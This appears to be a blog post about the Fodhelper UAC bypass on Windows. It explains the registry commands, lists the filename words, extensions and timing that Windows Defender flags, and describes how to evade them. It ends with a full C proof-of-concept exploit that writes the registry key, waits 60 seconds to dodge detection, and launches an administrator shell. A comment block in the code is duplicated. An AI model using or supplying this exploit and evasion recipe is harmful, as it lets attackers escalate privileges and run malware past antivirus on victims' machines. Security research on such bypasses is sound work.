UAC & WindowsDefender Bypass

I am seeing more and more exploits being sold that allow bypassing Windows Defender’s UAC and, by gaining admin rights, adding exclusion folders to Windows Defender in order to run malware.

Today, I offer you the chance to discover these famous exploits being sold (too expensive for what they are, in my opinion), and I will also help you understand the defense mechanisms of Windows Defender to counter this kind of exploit. Honestly, it feels more like a band-aid than anything else, but I’m not in the best position to judge these fixes as I don’t have a quarter of the technical knowledge needed to comment on this topic.

Let’s start with a simple explanation of what the Fodhelper UAC Bypass exploit does

Fodhelper is a Windows process that is part of the operating system’s “Features on Demand” system. It helps manage optional features in Windows, but it has been exploited by attackers to bypass User Account Control (UAC) and gain elevated privileges.

Specifically, the exploitation is carried out by following these steps :

• Create a new registry key : The command New-Item 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Force; creates a new registry key under HKCU (HKEY_CURRENT_USER)at the specified location. This key is associated with a command that Windows will execute
• Add a property to the key : New-ItemProperty -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name 'DelegateExecute' -Value '' -Force; creates a new property called DelegateExecute with an empty value. This property is used to enable the execution of commands under certain conditions, bypassing UAC
• Set the default value : Set-ItemProperty -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name '(default)' -Value 'FILE_TO_TRIGGER' -Force; sets the default value of the command key to the path of the file you want to execute. This file is the one that will run when the registry key is triggered, which in this case would be a malicious file, allowing the attacker to escalate privileges

What fixes have been applied to address this vulnerability ?

Some interesting points lead me to believe that the fixes are really light… Here are the elements that will trigger Windows Defender :

• A specific wordlist seems to directly trigger the antivirus, making the exploit detected instantly. When I rename my executable or the file path with “sensitive” words, Windows Defender instantly flags the creation of the default value of the registry key (Set-ItemProperty -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name '(default)' -Value 'FILE_TO_TRIGGER' -Force;). Words such as “fodhelper” or “bypass” are blacklisted :

... -Value 'C:\temp\bypass\file.exe' -Force;
... -Value 'C:\temp\fodhelper\file.exe' -Force;

... -Value 'C:\temp\fodhelper.exe' -Force;
... -Value 'C:\temp\bypass.exe' -Force;

• Extensions or any other elements related to the Windows operating system are also automatically flagged :

... -Value 'cmd' -Force;
... -Value 'cmd.exe' -Force;

... -Value 'C:\temp\file.vbs' -Force;
... -Value 'C:\temp\file.bat' -Force;
... -Value 'C:\temp\file.ps1' -Force;

... -Value 'C:\temp\file.py' -Force;

• The execution time after creating the registry key is also part of the measures that seem to have been implemented. If the ‘fodhelper’ command is executed within 60 seconds, Windows Defender will detect a threat

How to bypass Windows Defender then ?

In reality, it’s very simple… Based on the information listed earlier, we have to :

• Create a registry key that points to a file without any suspicious words or folders
• Have an executable that has nothing to do with the native Windows operating system (no cmd.exe, .py, .bat, .vbs, .ps1 files, etc…). For example, I can create an executable that will launch cmd but act as a gateway :

# Compile this Python code into a Windows executable
import subprocess

subprocess.run("start cmd", shell=True)

• Wait at least 60 seconds before running the ‘fodhelper’ command, which will trigger and launch my target file instead

Let’s have a proof of concept

• Let’s start by creating our payload

(UAC is enabled for my session) :

• Next, we launch our payload. You will notice that it is an .exe and that the file path does not contain any suspicious words or extensions :

• The window opened by the exploit does have administrative rights :

Give me the damn code !

Here is the complete proof of concept (POC) of the exploit. You can find this exploit on my GitHub in both C and Python :

[embed]GitHub - raphaelthief/UAC_FUD: Bypass Windows UAC and Windows Defender detection Bypass Windows UAC and Windows Defender detection. Contribute to raphaelthief/UAC_FUD development by creating an…github.com

The exploit works as follows :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tchar.h>

// ######################################################################################################################################################################################################
// ##################################################################################### Exploit by raphaelthief ########################################################################################
// ######################################################################################################################################################################################################

// ######################################################################################################################################################################################################
// Disclaimer :
// I am obviously not responsible for what you might do with this technique, and I encourage you to not misuse this code, of course
// However, many exploits sold on various forums use the fodhelper vulnerability. Perhaps one day we will get a fix for these vulnerabilities, but for now, it seems like it’s just a temporary patch ?
// But of course, I don't have all the details regarding the proposed fix
// ######################################################################################################################################################################################################

// ######################################################################################################################################################################################################
// To bypass Windows Defender on the UAC via a registry key, you need to ensure several points :
// - The path must not contain any suspicious words or extensions related to the system
// --> 'fodhelper', 'bypass' are suspicious words flagged by Windows Defender, leading to an immediate detection
// --> '.py', 'cmd', '.vbs', '.ps1', '.bat' are system extensions that are part of the blacklist implemented by Microsoft for this vulnerability
// - The launch of the exploit must be accompanied by a delay of at least 60 seconds. Below that, Defender will consider this behavior a threat
// ######################################################################################################################################################################################################

// ######################################################################################################################################################################################################
// To bypass Windows Defender on the UAC via a registry key, you need to ensure several points :
// - The path must not contain any suspicious words or extensions related to the system
// --> 'fodhelper', 'bypass' are suspicious words flagged by Windows Defender, leading to an immediate detection
// --> '.py', 'cmd', '.vbs', '.ps1', '.bat' are system extensions that are part of the blacklist implemented by Microsoft for this vulnerability
// - The launch of the exploit must be accompanied by a delay of at least 60 seconds. Below that, Defender will consider this behavior a threat
// ######################################################################################################################################################################################################

// ######################################################################################################################################################################################################
// You can manually reproduce this process :
// - Create an executable according to your needs (launch an application, run a cmd, etc...)
// - Enter the following commands one by one :
// --> New-Item 'HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command' -Force;
// --> New-ItemProperty -Path 'HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command' -Name 'DelegateExecute' -Value '' -Force;
// --> Set-ItemProperty -Path 'HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command' -Name '(default)' -Value 'FILE_TO_TRIGGER' -Force;
// - Replace FILE_TO_TRIGGER with your executable
// - Ensure the path and executable name are 'non-suspicious' as mentioned earlier
// - Wait at least 60 seconds
// - Open a cmd without administrative rights and then enter the command 'fodhelper'
// - Your executable should launch with administrative rights
// - Delete the exploit with the following command :
// --> Remove-Item 'HKCU:\\Software\\Classes\\ms-settings' -Recurse -Force
// ######################################################################################################################################################################################################

// Checks if the registry key exists. If it exists, the program will launch a cmd window with admin rights
int check_registry_key_exists(const char *key_path) {
    HKEY hKey;
    LONG result = RegOpenKeyExA(HKEY_CURRENT_USER, key_path, 0, KEY_READ, &hKey);
    if (result == ERROR_SUCCESS) {
        RegCloseKey(hKey);
        return 1; // The key exists
    }
    return 0; // The key does not exist
}

// Creates a registry entry for UAC bypass via the Fodhelper exploit
void set_bypass() {
    printf("[+] Creating registry entry...\n");

    char current_file_path[MAX_PATH];
    // Path of the current executable. This entry allows launching a cmd window with admin rights by relaunching the current program with elevated privileges
 GetModuleFileNameA(NULL, current_file_path, MAX_PATH); // The path must not contain "sensitive" words like 'fodhelper', 'bypass', 'cmd', '.py', '.vbs', '.bat', etc. Such words are flagged automatically


    char reg_add[1024];
    snprintf(reg_add, sizeof(reg_add),
             "New-Item 'HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command' -Force;"
             "New-ItemProperty -Path 'HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command' -Name 'DelegateExecute' -Value '' -Force;"
             "Set-ItemProperty -Path 'HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command' -Name '(default)' -Value '%s' -Force;",
             current_file_path);

    char command[2048];
    snprintf(command, sizeof(command), "powershell -Command \"%s\"", reg_add);
    int result = system(command);

    if (result != 0) {
        printf("[-] Error while creating registry entry.\n");
    } else {
        printf("[+] Registry entry created successfully.\n");
    }

    printf("[+] Bypassing Windows Defender...\n");
    printf("[+] Sleeping 60 seconds...\n");
    Sleep(60000); // Wait for 60 seconds. This delay helps bypass Windows Defender

    printf("[+] Launching admin CMD...\n");
    if ((int)ShellExecuteA(NULL, "open", "C:\\Windows\\System32\\fodhelper.exe", NULL, NULL, SW_HIDE) <= 32) { // Launch the fodhelper.exe to trigger the UAC prompt
        printf("[-] Error while running fodhelper.\n");
    }

    Sleep(10000); // Wait for 10 seconds. Depending on system performance, this delay gives enough time to relaunch the program and trigger an admin cmd window
    printf("[+] Clearing registry entry...\n");

    char reg_kill[1024] = "Remove-Item 'HKCU:\\Software\\Classes\\ms-settings' -Recurse -Force"; // Deletes the registry entries created for the exploit
    snprintf(command, sizeof(command), "powershell -Command \"%s\"", reg_kill);
    result = system(command);

    if (result != 0) {
        printf("[-] Error while clearing registry entry.\n");
    } else {
        printf("[+] Registry entry cleared successfully.\n");
    }

    printf("[+] Done.\n");
}

// Launches the UAC bypass
void uac_bypass() {
    printf("[+] Launching cmd with admin rights ...\n");
    system("start cmd");
    exit(0); // Close the exploit
}

int main() {
    const char *key_path = "Software\\Classes\\ms-settings\\Shell\\Open\\command"; // Path of the registry key to be created for exploiting the Fodhelper vulnerability

    if (check_registry_key_exists(key_path)) { // Check if the registry key exists
        uac_bypass(); // If it exists, launch a cmd window because the current program has already been relaunched with admin rights
    } else {
        set_bypass(); // The registry key does not exist, so create it with the current program's path to relaunch it with admin rights
    }

    return 0;
}